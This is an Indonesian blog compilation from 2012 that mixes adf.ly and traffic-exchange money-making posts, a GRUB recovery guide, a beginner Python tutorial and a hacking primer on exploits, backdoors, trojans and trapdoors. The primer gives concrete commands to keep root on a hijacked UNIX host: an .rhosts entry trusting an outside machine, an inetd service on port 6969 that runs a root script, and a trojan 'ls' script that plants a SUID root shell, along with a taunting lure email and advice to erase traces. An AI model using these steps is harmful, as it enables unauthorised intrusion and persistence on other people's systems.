Sebelum membuat link dan menghasilkan uang, anda diharuskan untuk log in atau mesuk ke akun adl.fy masing-masing. Caranya sagatlah mudah, buka http://adf.ly/. Lalu coba lihat pada bagian bawah halaman, anda akan menemui form untuk login ke adlfy. Lalu tinggal memasukkan alamat email dan password yang telah anda buat tadi. Terakhir, klik login.

Membuat link agar menghasilkan dollar

OK, sekarang kita akan langsung membuat link tersebut, langkahnya:

1. Login dulu ke adf.ly
2. Persiapkan link yang akan dijadikan mesin penghasil dollar
3. Copy link tersebut dan pastekan ke textbox di bagian atas halaman
4. Klik "Shrink!"
5. Jreeeng, link akan menjadi pendek (jika link tersebut diklik, maka secara otomatis anda akan mendapatkan dollar).
6. Copy link tersebut dimana-mana

cara menaikkan trafic blog secara otomatis

Kali ini saya akan memberikan sedikit tips untuk menaikkan traffik blog secara otomatis. Sebelumnya saya akan menjelaskan apa pengertian dari traffik ini, sehingga teman-teman tidak bertanya-tanya dalam hati.

Traffik adalah kepadatan pengunjung blog atau bisa diartikan seberapa banyak pengunjung suatu blog/website.

Trafik sendiri bisa dibedakan menjadi tiga:

1. Trafik langsung, dimana calon pengunjung langsung mengetikkan alamat blog seseorang untuk dikunjunginya (contohnya google, situs itu kebanyakan menggunakan trafik ini, alasannya kenapa???? nama Google mudah diingat apalagi Google merupakan suatu search engine terkenal)
2. Trafik Melalui Search Engine (Google, Yahoo, MSN,dll), dimana calon pengunjung melakukan search di Google misalnya dan menemukan situs/blog kita.
3. Trafik Referal, calon pengunjung mengetahui keberadaan atau alamat blog di situs blog lain.

Ok, untuk kali ini saya akan memberikan penjelasan bagaimana cara menaikkan trafik blog melalui suatu situs referal.

Cara-cara lama seperti tukar link dengan blog lain pastinya kamu sudah tahu, ini memang cara lama tapi patut untuk dicoba, dilain sisi cara yang bisa digunakan adalah blogwalking (saling mengunjungi blog)

Pada kesempatan ini saya akan perkenalkan sebuah sistem yang tidak akan merepotkan lagi untuk blogwalking kesana kemari (tapi cara blogwalking jangan ditinggalkan tetap digunakan agak dikurangin aja)

* Langkah pertama Kamu buka situs ini 1MillionFreeHit
* Setelah Homepagenya muncul , scroll ke bagian bawah sampai nemu gambar seperti ini:




* Langkah selanjutnya kamu klik kanan -> Open New Tab masing-masing Tumbnail Diatas mulai dari 1 sampai 7, berarti nantinya akan terbuka 7 tab, atau kalau mau buka 1 aja dulu kemudian berlanjut sampai selesai.
* Yang perlu kamu catat dari tampilan masing-masing tumbnail adalah kodenya (berada paling atas) , misalnya yang kamu buka adalah sponsor link, kemudian muncul kode, kopi kode itu ke kotak seperti yang ada pada gambar diatas tepat di Sponsor Kode, seterusnya begitu.
* Setelah semua kode terisi, maka lanjutnya ke step 2, perhatikan gambar dibawah ini:

* Lengkapi Formnya dan klik submit.
* Selanjutnya buka alamat email kamu, untuk memverifikasinya.

Selesai sudah, gampang kan?? Selamat mencoba!!!

Jumat, 20 Januari 2012

Meningkatakan Pengunjung (Traffic Spammer)

Siapa sih yang tidak mau pengunjung blog/website kita banyak?Pengunjung yang banyak mungkin jadi tujuan/idaman dari para temen-temen semua.
Nah kesempatan kali ini saya akan kasih tahu cara Meningkatakan Pengunjung (Traffic Spammer).

Saya sudah merasakan sendiri setelah memakai traffic spammer jumlah pengunjung blog saya bertambah banyak.

Cara kerjanya sangat mudah, dalam situs tersebut terdapat banyak sekali website atau blog yang telah bergabung. Setiap blog yang terdaftar akan di rolling oleh sistem untuk di kunjungi oleh member. Agar blog temen-temen selalu mendapat giliran rolling maka temen-temen pun diharuskan untuk membuka akun temen-temen dan membuka menu Earn Traffic. Earn traffic ini dimaksudkan untuk mencari poin. Siapa yang poinnya masih ada maka akan dimasukkan dalam daftar rolling sistem. Kabar baiknya dalam rollink daftar
website atau blog ini berputar secara otomatis. Jadi temen-temen tidak perlu melakukan klik kode (biasanya ada yang suka seperti itu). temen-temen hanya perlu login ke dashboard dan klik Earn Traffic saja dan biarkan sistem berjalan sendiri. temen-temen bisa melakukan yang lain didepan komputer temen-temen.

kalau temen-temen mau silahkan klik banner dibawah ini untuk gabung atau join.
caranya:
klik gambar di bawah ini

Get Traffic Like Spam

1. Klik Join For Free
2. isikan Username dan pasword
3. Setelah itu confirmasi registrasi anda dengan cek inbox email temen-temen
4. Kemudian setelah di confirmasi silahkan login dengan username temen-temen
5. Setelah masuk Klik "Earn Traffic"
6. Klik "Account"
7. Akan terbuka tab baru. Jangan menutup tab yang ada.
8. Klik "My Sites" lalu tuliskan alamat blog Anda di dalalam kotak
9. Tunggu sampai blog temen-temen di Approve (biasanya 3-5 menit)
10. Agar blog temen-temen dapat pengunjung (trafik) tetap biarkan tab Earn Traffic
11. Selesai

Rabu, 18 Januari 2012

hanya sedikit pengetahuan

Artikel ini ditujukan untuk memandu mereka yang masih bingung dengan terminologi sekuritas jaringan komputer seperti exploit,
trojan, dll dan ingin mengetahui konsep-konsep dasarnya.


EXPLOITS
Sekarang tentunya kamu sudah asyik bermain-main dan bereksperimen dengan shell UNIX baru yang baru kamu 'dapatkan'.
Dan mungkin sekarang kamu sudah mulai bertanya-tanya, "apa sih eksploit (exploit, 'sploits) itu?". Dalam konteks per-hacking-an,
eksploit tidaklah jauh berbeda dengan artinya dalam konteks harfiah, yaitu 'pemanfaatan'. Tentunya eksploit-eksploit 'hacking' lebih
spesifik lagi, yang kurang lebih bisa diartikan sebagai 'pemanfaatan kelemahan dari sebuah sistem untuk tujuan-tujuan yang diluar
dari penggunaan normal.' Kelemahan-kelemahan ini bisa berupa kesalahan pemrograman, sesuatu yang tidak direncanakan oleh
pemrogram asli, dan lain-lain. Umumnya, yang jelas paling menarik perhatian kita, adalah eksploit yang akan memberikan kita akses
tidak terbatas ke seluruh aspek dari sebuah sistem. Dalam UNIX, sering kita dengar istilah 'mengeksploit program anu untuk mendapat
privilese root'. Tentu saja mendapatkan 'root' bukanlah satu-satunya tujuan pengeksploitan sistem. Seperti yang mungkin anda sudah
alami sendiri, kadang sebuah cacat dalam program seperti maild atau ftpd bisa dimanfaatkan untuk tujuan 'header forging',
'ip spoofing', 'denial of service attack', dan 'mail bombing'.

Eksploit secara besar sering dibagi menjadi dua, yaitu eksploit lokal dan eksploit remote. Eksploit lokal adalah jenis eksploit yang
hanya bisa dijalankan jika kamu sudah punya akses ke dalam suatu sistem (baik itu melalui login telnet, ftp, dll). Eksploit jenis ini
jumlahnya banyak, sebab kamu sudah punya akses ke ribuan program yang berpotensi untuk di-eksploit. Contoh - contoh dari
eksploit jenis ini adalah buffer overflow (i.e. mh di RedHat 5, SuperProbe, dll), race conditions (dimana dua proses saling berlomba
untuk menyelesaikan tugas masing-masing, biasanya proses A disuruh untuk menjalankan suatu utilitas yang membutuhkan privilese
root temporer sementara proses B dirancang untuk mencegat proses A sebelum proses A kembali statusnya ke privilese user biasa,
mengakibatkan di-spawn-nya shell beridentitas root - sering terjadi di mesin-mesin IRIX dan SunOS.) Bagaimana caranya agar saya
bisa mendapatkan eksploit seperti ini? Tentu saja kamu bisa menghabiskan waktu berjam-jam untuk mengutak-utik sebuah program
sampai berhasil kamu jebol (lebih baik dilakukan di kotak kamu sendiri), seperti para 'elite' lainnya. Biasanya eksploit diprogram
dengan C, perl, atau sh. Namun kalau ilmu kungfu kamu masih kayak kami (dan emang bawaannya malas), banyak eksploit yang sudah didokumentasi.

Eksploit jenis satunya lagi adalah eksploit remote, dimana kamu bisa mengeksploit sistem tanpa mengetahui otorisasi user/password. Tentu saja eksploit-eksploit jenis ini jauh lebih sedikit jumlahnya, dan terkadang dampaknya juga tidak separah eksploit lokal. Lubang cgi phf adalah salah satu contoh dari pemanfaatan eksploit remote untuk mendapatkan file /etc/passwd (dulu LithErr pernah memberi resep cepat memanfaatkan phf). Mungkin belum terlihat fatal, namun sekalinya sang 'cracker' berhasil masuk ke dalam sistem memanfaatkan login dan password dari salah seorang user, maka dia bisa menjalankan eksploit-eksploit lokal untuk mendapatkan akses tak terbatas milik root. Eksploit port 143 (IMAPd) malahan lebih gila lagi, dengan memberikan akses root tanpa password. Apa trik dan tip yang kira-kira berguna untuk memanfaatkan eksploit-eksploit remote? Jelas sebuah portscanner sangatlah bermanfaat untuk melihat port-port mana saja yang menerima koneksi. Beberapa jenis 'scanner' lebih terfokus lagi, seperti cgi scanner dari kecoak (roachscan) yang saat dijalankan akan memeriksa direktori cgi-bin dari sejumlah server sekaligus, mencari file password atau jalan masuk lainnya, melalui beberapa jenis eksploit umum. Satu program lain yang mungkin ada gunanya adalah 'netcat', bisa didapat dari http://www.l0pht.com/. Untuk menghemat waktu, banyak cracker yang menulis skrip otomasi, jalankan skrip, tinggal berikan daftar target-target dan tinggalkan untuk sementara waktu. Kembali lagi sejam atau dua jam kemudian, tinggal diperiksa server-server mana saja yang ada lobangnya, bisa dieksploit atau tidak, dll (coba lihat artikel-artikel mengenai scanning/probing di situs-situs hacker).

Terkadang ada juga eksploit yang tidak begitu jelas jenisnya, seperti eksploit lynx mailer, yang walaupun kodenya sendiri terletak di host lain, namun untuk digunakan masih perlu campur tangan dari user lokal untuk bisa bekerja (saat user meng-click sebuah link, sang eksploit akan mengirimkan file password ke alamat email tertentu.)

BACKDOOR
Seperti terjemahan harfiahnya, backdoor bisa dianggap 'pintu masuk lewat belakang'. Backdoor berfungsi untuk memberikan sang programmer akses ke suatu sistem, tanpa sepengetahuan user lain ataupun sang sysadmin. Tentu saja sang programer di sini bisa juga diartikan 'sang penyusup'. Seringkali backdoor memberikan akses tak terbatas kepada siapapun juga yang mengetahui jalan masuknya. Walaupun tidak jarang vendor-vendor besar (baik hardware maupun software ) yang sengaja menempatkan backdoor tak terdokumentasi untuk kemudahan 'maintenance' dan sejenisnya,
dalam artikel ini yang dimaksud adalah backdoor dalam artian memberikan akses root ke dalam sebuah sistem UNIX sebagai antisipasi jika sang sysadmin kebetulan menyadari bahwa ada penyerang di dalam sistem.

Kamu sudah semalaman begadang, mencoba eksploit-eksploit remote, dan berhasil masuk ke sebuah sistem dengan memanfaatkan login user dan segera menjalankan eksploit-eksploit lokal untuk mengambil alih kekuasaan root. Tentunya sayang jika saat sang sysadmin kembali bekerja di
keesokan harinya, akses kamu ditutup. Nah, disinilah manfaatnya kita menanam satu atau lebih
jalan masuk 'alternatif'. Jelas, sebagian besar teknik-teknik backdooring hanya bisa diterapkan
jika kamu mempunyai perizinan root. Ingat, bahwa tujuan membuat backdoor bukanlah untuk
mendapatkan akses root, tetapi untuk mendapatkan akses root LAGI setelah sang sysadmin
menutup segala jalan masuk normal. Terkadang sysadmin sering menganggap selama file-file
/etc/hosts.deny telah dikonfigurasi, maka segala koneksi dari host kamu akan ditolak.
Tentu saja kalian-kalian, sang cracker, kelihaian kung fu nya jauh di atas sang sysadmin,
sebab tanpa sepengetahuan beliau, telah kamu set up beberapa jalan masuk alternatif dengan
privilese root.

Nah, backdoor backdoor ini ada yang memang sudah dari sononya (seperti Backdoor di router-router, printserver, dll buatan 3Com), namun disini akan kami jelaskan cara membuat backdoor kamu sendiri di sebuah sistem UNIX. Jalan termudah (dan yang paling gampang ditangkap) adalah dengan melalui file /.rhosts:

korban# echo "indohack2.ri.go.id ganjaman" >> /.rhosts

perintah diatas akan menambah satu entri di file .rhosts (sistem luar -dalam contoh diatas user ganjaman dari indohack2.ri.go.id - yang boleh mengakses account tanpa password), dan untuk masuk kembali ke sistem dari account "ganjaman" di indohack2.ri.go.id :

ganjaman@indohack2> rlogin -l root korban.lameisp.net.id

poof! shell root tanpa password!
Untuk kalian yang ingin sedikit lebih tersembunyi lagi, coba perhatikan entri berikut dari
file /etc/passwd sebuah sistem:

bin:*:3:7:Binaries Command and Source,,,:/bin:/bin/false

tentunya bagi mereka yang sering memanen password entri seperti di atas sudah tidak asing lagi.
Account diatas adalah account yang digunakan oleh UNIX sistem secara internal. Seringkali banyak diantara crackers yang mengambil jalan singkat dan menghapus karakter *, mengakibatkan telnet dengan nama login "bin" tidak memerlukan password. Tapi ingatlah bahwa file /etc/passwd biasanya adalah file pertama yang akan diperiksa oleh sang sysadmin saat dia menyadari bahwa sistemnya telah kena susup. Agar kita lebih sulit dideteksi, maka ada baiknya kita buat file .rhosts di home directory milik bin. Kembali ke entri file password diatas, bisa kita lihat bahwa walaupun
kita bisa me- rlogin -l bin korban.lameisp.net.id, namun kita masih juga tidak bisa mendapatkan
shell sebab account 'bin' dikonfigurasikan untuk menolak penggunaan shell. Cara mengatasi masala
h ini tentunya dengan membuat link dari /bin/false ke /bin/sh atau /bin/tcsh. Apa daya seorang s
ysadmin? Tentunya jika mereka memang keren kung fu nya, sang sysadmin akan mensetup sebuah skrip yang memeriksa keberadaan file-file .rhosts di dalam sebuah sistem. Tak lupa merubah entri dari account-account internal dari /bin/false ke /nggak-ada-tuh atau string unik lainnya yang bukan
merupakan nama file.

Metode backdooring lain adalah dengan memanfaatkan "in.rootd" (sebenernya ini hanyalah rekayasa saja, sebab sepanjang pengetahuan kami, nggak ada tuh yang namanya root daemon - tapi metode ini benar-benar cocok disebut rootd) yang pada dasarnya bertugas untuk membuat sebuah lubang masuk lewat salah satu port yang didefinisikan dalam "inetd":

root@korban# echo "ntcp 6969/tcp # Network Traffic Control Protocol" >> /etc/services root@korban
# echo "ntcp stream tcp nowait root /bin/sh sh /tmp/crax0r" >> /etc/inetd.conf root@korban# echo
"echo indohack2.ri.go.id > ~root/.rhosts" > /tmp/crax0r

menjalankan tiga perintah diatas bisa mengakibatkan kompromisasi sistem yang cukup dahsyat,
namun tidak akan segera tampak. Penjelasan dari ketiga perintah diatas:
1. mengaktifkan protokol ntcp di port 6969 (tentunya kamu memilih nomor port lain yang tidak begitu mencurigakan, silakan pilih mulai dari 1024 sampai 65000-an), sedangkan "Network Traffic Control Protocol" adalah karangan kamu sendiri sebab setiap service harus punya nama, dan biasanya sysadmin tidak akan begitu curiga dengan nama seperti itu.

2. memerintahkan sistem untuk menjalankan perintah /bin/sh sh /tmp/crax0r setiapkali sang sistem menerima koneksi telnet lewat port 6969. Sayangnya mengeksekusi sebuah shell berprivilese root lewat cara ini hanya akan mengakibatkan sang sistem bengong, sebab kita tidak bisa memberikan perintah-perintah selayaknya kita login lewat jalur normal. Sang shell akan tetap dijalankan, namun tidak akan bisa mengeksekusi perintah kita. Untuk itulah kita buat satu skrip di direktori /tmp/crax0r (tentunya kamu lebih pintar dan memilih nama yang tidak begitu mencurigakan seperti /tmp/dev001).

3. Nah, perintah ketiga ini lah yang akan dieksekusi oleh sang shell yang baru saja kita luncurkan(id=0 - root!). Tentunya kamu bisa saja menulis skrip yang lebih kompleks. Namun untukmenghemat tempat, kita lancarkan saja perintah yang sudah dibahas diatas, yaitu menambahkan entri dari mesin host kita ke file .rhosts milik root. Tentu jika sang admin memang keren kung funya, rlogind akan dikonfigurasikan untuk tidak mengindahkan file .rhosts, namun jika kamu periksa isi direktori dan file "history" milik root dan isinya menunjukkan bahwa sang sysadmin tidak begitu melek soal keamanan, maka metode diatas akan memberikan jalan masuk lewat belakang ke dalam sistem target (idih, kesannya kayak cerita-cerita porno anal seks aja!). Sekarang kamu tinggal:

ganjaman@indohack2> telnet korban.lameisp.net.id 6969

nah, sistem kamu akan tersambung ke sistem target lewat port 6969, sedangkan daemon inet di mesin korban akan menerima sambungan tersebut, menjalankan perintah dalam skrip /tmp/crax0r dengan privilese root, dan dengan segera menutup kembali sambungan telnet. Sekarang .rhosts milik root sudah ditambahi satu entri lagi, yaitu nama host kamu. Untuk kembali menggarap system target (sebaiknya dilakukan saat itu juga, sebab sang sysadmin mungkin akan curiga melihat skrip 'asing' dijalankan lewat port 6969) kamu tinggal:

ganjaman@indohack2> rlogin -l root korban.lameisp.net.id

dan, BOOM!

korban#

shell root tanpa password! (Nah, sekarang kamu boleh kirim surat penggemar ke indohack@hotmail.com, bertitel "Terimakasih, suhu Ganjaman dan SuperCock, atas ilmu ngent...engin badannya ..." :) ). Tapi ingatlah untuk segera menghapus file .rhosts dan jejak jejak lain. Tentunya kalau kung fu kamu emang udah cukup tinggi, teknik menyembunyikan diri dan anti deteksi udah bukan barang asing bagi kamu, jadi, jangan lupa aktifkan segala spoofer program, dll. Kalau kamu benar-benar suka mengutak-utik, serangan bisa dibuat dengan lebih tersembunyi lagi, seperti dengan memanfaatkan service-service yang jarang (hampir tidak pernah dipakai) seperti utilitas-utilitas X, segala utilitas berkepala "r", dan banyak lagi.

Metode lain yang cukup populer adalah dengan membuat sebuah file dengan bit SUID tambahan, namun cara ini gampang terdeteksi jika kebetulan sistem mempunyai program audit keamanan yang akan mensensus seluruh file berbit SUID yang terletak diluar lokasi-lokasi wajar (seperti /tmp atau lokasi homedir user). Ide yang lebih mantap lagi adalah dengan memodifikasi suatu program yang sudah berjalan / terinstal secara default, seperti xterm dan splitvt, sehingga sebuah option rootshell akan secara otomatis execv("/bin/sh", "sh", NULL);.

Kalau kamu emang pendekar asli (dan entah kenapa sedang membaca artikel kelas kacangan ini), kamu bisa modifikasi daemon-daemon yang sedang berjalan untuk menerima perintah-perintah hasil karangan kamu sendiri. Berikut adalah cuplikan dari metode milik Hacker FBI telah berhasil memodifikasi program
sendmail di server korban.com (tembakan pestol efbiay!):

212@GG> telnet korban.com
25 Trying mesin.korban.com
Connected to mesin.korban.com
Escape character is '^]'.
220 mesin.korban.com ESMTP Sendmail 8.8.5/8.8.5
[snip]
PSM_EXEC /bin/cp /bin/sh /tmp/elit
Done ... master! PSM_EXEC /bin/chmod 4755 /tmp/elit
Done ... master!
Jika menurut kamu cuplikan diatas sudah cukup familiar, maka kami dengan segala kerendahan hati
minta izin untuk berguru!





TROJAN HORSE
Tidak akan banyak penjelasan mengenai metode ini, sebab pada umumnya Trojan Horse hanya efektif jika kamu betul-betul pintar menutupi suatu program atau jika sang sysadmin memang betul-betul tolol. Pada prinsipnya, Trojan Horse adalah program yang mempunyai 'feature' gelap. Misalnya kamu membuat sebuah game yang cukup heboh dan kamu dengan sengaja menyelipkan perintah untuk membuka akses di dalam kode game kamu, sedemikian rupa sehingga saat sang sysadmin menjalankan program tersebut, tanpa disadarinya file .rhosts nya telah ketambahan sesuatu. Kami kenal seorang hacker yang lihai menulis skrip IRC, dan skrip IRC-nya kebetulan mempunyai banyak peminat. Beberapa 'lamers' mendownload skrip tersebut tanpa menyadari bahwa sang skrip menyelipkan beberapa perintah untuk mengizinkan akses tak berpassword kepada sang penulis asli skrip.





TRAPDOOR
Banyak persamaan antara Trapdoor dengan Backdoor dan Trojan Horse, namun dalam artikel ini, 'Trapdoor' diasumsikan sebagai cara yang bisa kita gunakan untuk menjebak (trap) sang sysadmin untuk memberikan kita akses root kedalam sistem. Seringkali kita terbentur masalah sistem operasi yang paling gres, atau sebuah sistem dimana hampir semua eksploit untuk mendapatkan root tidak berjalan sama sekali (patched systems). Jangan putus asa! Masih banyak metode yang bisa kita terapkan untuk membuat sang sysadmin tertipu, berakibat dibukanya akses ke dalam system. Misalkan kamu sudah berhari-hari mengoprek sebuah target dengan menggunakan account dan password seorang user biasa hasil colongan lewat phf, dan sayangnya tidak ada exploit yang mempan. Nah, sudah saatnya kita terapkan metode Trapdoor. Berikut adalah metode Trapdoor yang walaupun sederhana, masih saja bisa mengelabui puluhan sysadmin diluar sana.

Pertama-tama, kamu perlu merubah perizinan homedir kamu (atau homedir milik user yang accountnya kamu 'pinjam'):

user1@korban> chmod 700 ~/.

Nah, karena sekarang homedir kamu bermode 700, sang syadmin perlu mengganti privilesenya ke root jika beliau ingin memeriksa isi direktori ybs. Nah, langkah berikutnya adalah membuat sebuah skrip yang bertugas untuk bertingkahlaku selayaknya perintah biasa, namun diluar pengetahuan sang admin, justru membuka satu (atau beberapa) kelemahan dalam sistem. Yang langsung terpikir olehmu, jelas, perintah ls. Disinilah letak kelemahan UNIX dibanding ... uh, MS-DOS. Dalam UNIX, seorang sysadmin yang baik selalu mengetik 'full pathname' dari program manapun yang dia jalankan (seperti /bin/ls atau /usr/sbin/vi index.html), dan untuk tujuan kemudahan, biasanya /bin atau /usr/sbin sudah dimasukkan dalam daftar search path. Jadi jika misalnya sang sysadmin melakukan:

root# pwd
/usr/home/staff/user1
root# ls

maka yang dijalankan adalah program /bin/ls. Apa akibatnya jika kebetulan dalam direktori /usr/home/staff/user1 kita letakkan sebuah skrip bernama 'ls'? Heheheh ... cukup menarik, khan. Nah, sekarang kita bisa buat sebuah skrip yang berisi:

#!/bin/sh cp /bin/sh /tmp/vi-save-902887
chown root /tmp/vi-save-902887
chmod 4755 /tmp/vi-save-902887
rm ./ls
ls
simpan skrip tersebut di homedir user1, beri nama "ls" dan
user1@korban> chmod +x ls
sekarang tinggal pintar-pintarnya kamu mengakali sang sysadmin untuk mengecek isi homedir user1. Jika kamu kebetulan punya login/passwd untuk user2 di mesin yang sama, maka kamu bisa saja 'mengundang' sang admin. Login sebagai user1, dan kirim email

user1@korban> mail root@localhost
Subject: "Heheheh ... Kena garap dari belakang!"
Hello sysadmin tolol! Mesin kamu sudah kebobolan!
ttd, God of All Hackers, Virus Researchers and Lame Mailbombers,
Phardera .

Saat menerima email ini, sang Syadmin pun akan segera memeriksa isi homedir user1 (dengan perintah ls, tentunya), dan tanpa disadari sang sysadmin telah menciptakan sebuah shell root di /tmp/vi-save-902887. Dan, karena vi-save-902887 ber-SUID root, kamu bisa melakukan bermacam-macam hal menyenangkan dengannya. Tinggal login sebagai user2 beberapa waktu kemudian, dan nikmati ketenangan pikiran lewat shell root! Heheheh ...

Sabtu, 14 Januari 2012

cara mengembalikan grub linux setelah install windows

1. pertama make file usb/dvd linux di sini saya memakai ubuntu 10.10 so
2. nyalakan laptop dengan live usb/cd
3. masuk ke root lalu ketikkan:
sudo fdisk -l
di mana perintah di atas merupakan perintah untuk melihat dimanakah letak partisi linux anda sebagai contoh saja:
Disk /dev/sda: 80.0 GB, 80026361856 bytes
255 heads, 63 sektor/track, 9729 cylinders
Units = cylinders dari 16065 * 512 = 8225280 bytes
Identifikasi disk: 0x00055ee2
Perangkat Boot      Awal          Akhir    Blocks   Id  System
/dev/sda1               1        2550    20482843+  83  Linux
/dev/sda2            2551        3825    10241437+  83  Linux
/dev/sda3   *        3826        9485    45463950    7  HPFS/NTFS
/dev/sda4            9486        9729     1959930    5  Extended
/dev/sda5            9487        9729     1951897+  82  Linux swap / Solaris
disini linux saya terletak di dev/sda2 karna linux yang saya install terakhir kali di sda2
4. lalu ketikkan perintah berikut ini:
sudo mount /dev/sda2 /mnt
dimana perintah di atas merupakn unnmount partisi linux
5. lalu ketikkan perintah berikut in:
sudo grub-install --root-directory=/mnt /dev/sda
jika tidak ada eror maka secara langsung linux anda sudah kembali
lalu reboot pc anda tara linux anda sudah terinstall :D

selamat mencoba

Dasar-Dasar Pemrograman python

Adalah kebiasaan yang baik jika sebelum membaca suatu tulisan kita mengetahui terlebih dahulu apa yang akan kita dapatkan dari tulisan tersebut. Pengantar ini akan memberikan petunjuk kira-kira apa yang akan Anda dapatkan setelah Anda selesai membaca sampai di akhir tulisan.

Tulisan ini dimaksudkan untuk memberikan pengetahuan awal pemrograman dengan bahasa Python. Di sini tidak akan dibahas secara ditel kemampuan-kemampuan yang dipunyai Python. Karena biasanya pembahasan ditel akan membawa kita pada uraian yang panjang lebar dan tidak langsung pada inti permasalahan. Silakan merujuk pada dokumentasi-dokumentasi tentang Python, yang bisa didapatkan dari situs resmi Python di www.python.org jika ingin mendapatkan dokumentasi lengkap. Beberapa tulisan yang membahas perbandingan Python dengan bahasa pemrograman yang lain juga banyak bertebaran di Internet, silakan mulai dari Google atau Yahoo!

Penjelasan yang mengikuti pendahuluan ini akan memberi pengetahuan pada pembaca bagaimana membuat program —yang terkadang disebut dengan skrip—dalam bahasa pemrograman Python. Pembaca akan mampu membuat program dalam bahasa Python yang sederhana setelah membaca tulisan ini secara lengkap. Mampu di sini berarti mengetahui dan bisa menggunakan sintaks-sintaks dasar yang dipakai dalam Python.

Tutorial ini dibuat sederhana dengan sebisa mungkin menghindari istilah-istilah yang sulit kecuali kalau memang tidak bisa dihindari lagi. Ini karena penulis mengharapkan pembaca yang tidak mempunyai latar belakang pemrograman pun bisa mengikuti tulisan ini.

Asumsi yang diambil oleh penulis adalah interpreter Python sudah terinstal dengan benar pada komputer Anda.
Memulai Python
Menggunakan Mode Interaktif

Anda dapat bekerja dengan Python secara interaktif dengan interpreter Python. Dalam mode interaktif kita dapat bekerja seperti saat kita bekerja dalam prompt sistem operasi. Interpreter Python bisa Anda aktifkan dengan memberi perintah pada prompt sistem operasi:

$ python

Interpreter Python akan menampilkan

Python 1.5.2 (#1, Feb 1 2000, 16:32:16) [GCC egcs-2.91.66 19990314
+/Linux (egcs-on linux-i386
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
>>>

Tiga tanda lebih besar (>>>) adalah prompt utama Python. Untuk perintah yang masih berlanjut Python akan memberikan respon dengan tanda tiga titik (...).

>>> if 1:
...

Untuk keluar dari prompt Python menuju prompt sistem operasi Anda bisa menekan tombol yang menghasilkan karakter akhir file, Ctrl-Z (di DOS/Windows) atau Ctrl-D (di Unix).

Mode interaktif sangat bermanfaat untuk mencoba perintah-perintah Python sebelum membuat skrip. Dalam tulisan ini kita akan lebih banyak bekerja menggunakan skrip.
Menggunakan Skrip

Kalau Anda memakai mode interaktif saat membuat program, Anda tidak bisa menyimpannya ke dalam media penyimpanan. Untuk mengatasi ini Anda bisa membuat skrip dengan editor teks yang menghasilkan teks murni, misalnya Notepad atau vi. Aktifkan editor teks Anda dan ketikkan baris-baris perintah ini:

#! /usr/bin/python
print "Belajar Python..."
# akhir file

Beri nama skrip ini belajar.py. Skrip ini hanya akan mencetak string Belajar Python... ke layar. Untuk menjalankan skrip ini kita hanya perlu mengetikkan:

$ python belajar.py

pada prompt sistem operasi.

Baris pertama adalah khas untuk lingkungan Unix/Linux, yaitu diberikan jika skrip ini ingin dijalankan tanpa mengetikkan interpreter yang akan menerjemahkan skrip yang bersangkutan, tentu saja setelah mengubah hak akses dari skrip tersebut menjadi executable. Baris ini tidak akan berpengaruh di sistem operasi Windows. Di contoh-contoh skrip selanjutnya baris pertama akan dihapuskan untuk menghemat tempat.

Baris kedua berfungsi untuk mencetak string yang diapit tanda petik.

Baris ketiga adalah keterangan, atau komentar, yang tidak akan mempengaruhi jalannya program. Keterangan selalu diawali dengan tanda #. Jika interpreter menemukan tanda ini maka mulai tanda ini sampai akhir baris akan dianggap sebagai keterangan.
Variabel dan Operator

Membuat variabel dalam Python sangat sederhana. Anda hanya perlu mengisikan nilai pada sebuah variabel dengan tipe data yang Anda inginkan. Operator pengisian adalah tanda sama-dengan (=).

Variabel dalam Python sangat dinamis. Artinya:

* variabel tidak perlu dideklarasikan mempunyai jenis data tertentu;
* jenis data variabel dapat berubah saat program berjalan.

Bilangan

Python mengenal beberapa jenis bilangan yaitu bilangan bulat (integer), bilangan pecahan (floating point), dan bilangan kompleks. Bilangan kompleks bisa dituliskan dengan format (real+imajinerj) atau menggunakan fungsi complex(real, imajiner). Untuk jenis data bilangan yang lain tanpa dijelaskan sudah bisa dimengerti dari contoh berikut:

variabel_integer = 10
variabel_floating = 24.5
variabel_kompleks = 3+4j

print variabel_integer
print variabel_floating
print variabel_kompleks

Operator matematik berfungsi dengan normal di Python seperti dalam bahasa pemrograman yang lain. Ada beberapa catatan yang harus diperhatikan.

* Operasi pengisian beberapa variabel dengan nilai yang sama dapat dilakukan sekali jalan.
* Tanda () dipakai untuk mengelompokkan operasi yang harus dilakukan terlebih dahulu.
* Pembagian bilangan integer dengan bilangan integer akan dibulatkan ke bawah.
* Bilangan integer akan dikonversikan menjadi bilangan floating point dalam operasi yang melibatkan bilangan integer dan bilangan floating point.
* Kita tidak dapat mengkonversikan bilangan kompleks ke bilangan real (floating point atau integer); hanya bilangan mutlaknya yang bisa kita dapatkan.

Contoh-contoh berikut akan memberikan gambaran pernyataan di atas.

a = b = c = d = 0
print 'a=>',a,'b=>',b,'c=>',c,'d=>',d

x = 30 - 10 / 2
print 'x=>',x

y = (30 - 10) / 2
print 'y=>',y

print '10 / 3 =',10 / 3
print '10 / 3.5 =',10 / 3.5
print '8 * 12.4 =',8 * 12.4
print 'abs(1+9j) =',abs(1+9j)

String

String dapat ditulis dengan tiga cara:

1. diapit tanda petik tunggal;
2. diapit tanda petik ganda;
3. diapit tiga tanda petik tunggal atau tiga tanda petik ganda.

Cara yang dipakai harus disesuaikan dengan kebutuhan. Perhatikan contoh berikut:

print 'dibatasi tanda petik tunggal'
print "dibatasi tanda petik ganda"
print
print '"petik ganda" dalam petik tunggal'
print "'petik tunggal' dalam petik ganda"
print
print '\'petik tunggal\' dalam petik tunggal harus menggunakan karakter
+escape'
print "begitu juga \"petik ganda\" dalam petik ganda"

Dari contoh ini bisa dilihat bahwa kita tidak dapat mencetak tanda petik tunggal dalam string yang diapit dengan tanda petik tunggal juga. Begitu pula untuk tanda petik ganda. Tetapi kita dapat memakai apa yang disebut dengan karakter escape. Tanda ini memberitahukan pada interpreter bahwa karakter yang mengikutinya tidak diartikan sebagaimana lazimnya. Dalam contoh ini, tanda petik tidak diartikan sebagai batas string jika didahului dengan karakter escape.

Perhatikan juga contoh berikut:

print 'Baris kalimat ini akan nampak terlalu panjang jika \
dituliskan memanjang secara lengkap.'
print 'karakter escape diperlukan jika ingin mencetak dibaris\n baru'
print
print """String terformat dapat dicetak dengan diapit
"tiga" tanda petik tunggal maupun 'tiga' tanda petik ganda.
Dengan tanda ini string akan dicetak seperti saat ia ditulis."""

Sehubungan dengan jenis data string ini terdapat operator khusus untuk string yaitu operator penggabungan (concatenation operator), yaitu +, dan operator perulangan, yaitu *.

stringA = "String A"
stringB = "String B"
print 'stringA+stringB =',stringA+stringB
print "'-'*20 =",'-'*20

